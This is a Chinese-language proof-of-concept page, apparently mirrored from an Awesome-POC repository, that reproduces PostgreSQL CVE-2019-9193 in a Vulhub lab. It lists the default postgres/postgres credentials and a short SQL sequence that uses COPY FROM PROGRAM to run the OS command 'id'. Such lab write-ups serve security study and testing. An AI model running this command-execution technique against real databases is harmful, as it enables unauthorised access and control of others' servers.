mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
42 lines
1016 B
Markdown
42 lines
1016 B
Markdown
# PostgreSQL 高权限命令执行漏洞 CVE-2019-9193
|
||
|
||
## 漏洞描述
|
||
|
||
PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。
|
||
|
||
参考链接:
|
||
|
||
- https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
|
||
|
||
## 环境搭建
|
||
|
||
Vulhub启动存在漏洞的环境:
|
||
|
||
```
|
||
docker-compose up -d
|
||
```
|
||
|
||
环境启动后,将开启Postgres默认的5432端口,默认账号密码为postgres/postgres。
|
||
|
||
## 漏洞复现
|
||
|
||
连接数据库:
|
||
|
||
```
|
||
psql --host your-ip --username postgres
|
||
```
|
||
|
||
首先连接到postgres中,并执行参考链接中的POC:
|
||
|
||
```sql
|
||
DROP TABLE IF EXISTS cmd_exec;
|
||
CREATE TABLE cmd_exec(cmd_output text);
|
||
COPY cmd_exec FROM PROGRAM 'id';
|
||
SELECT * FROM cmd_exec;
|
||
```
|
||
|
||
`FROM PROGRAM`语句将执行命令id并将结果保存在cmd_exec表中:
|
||
|
||

|
||
|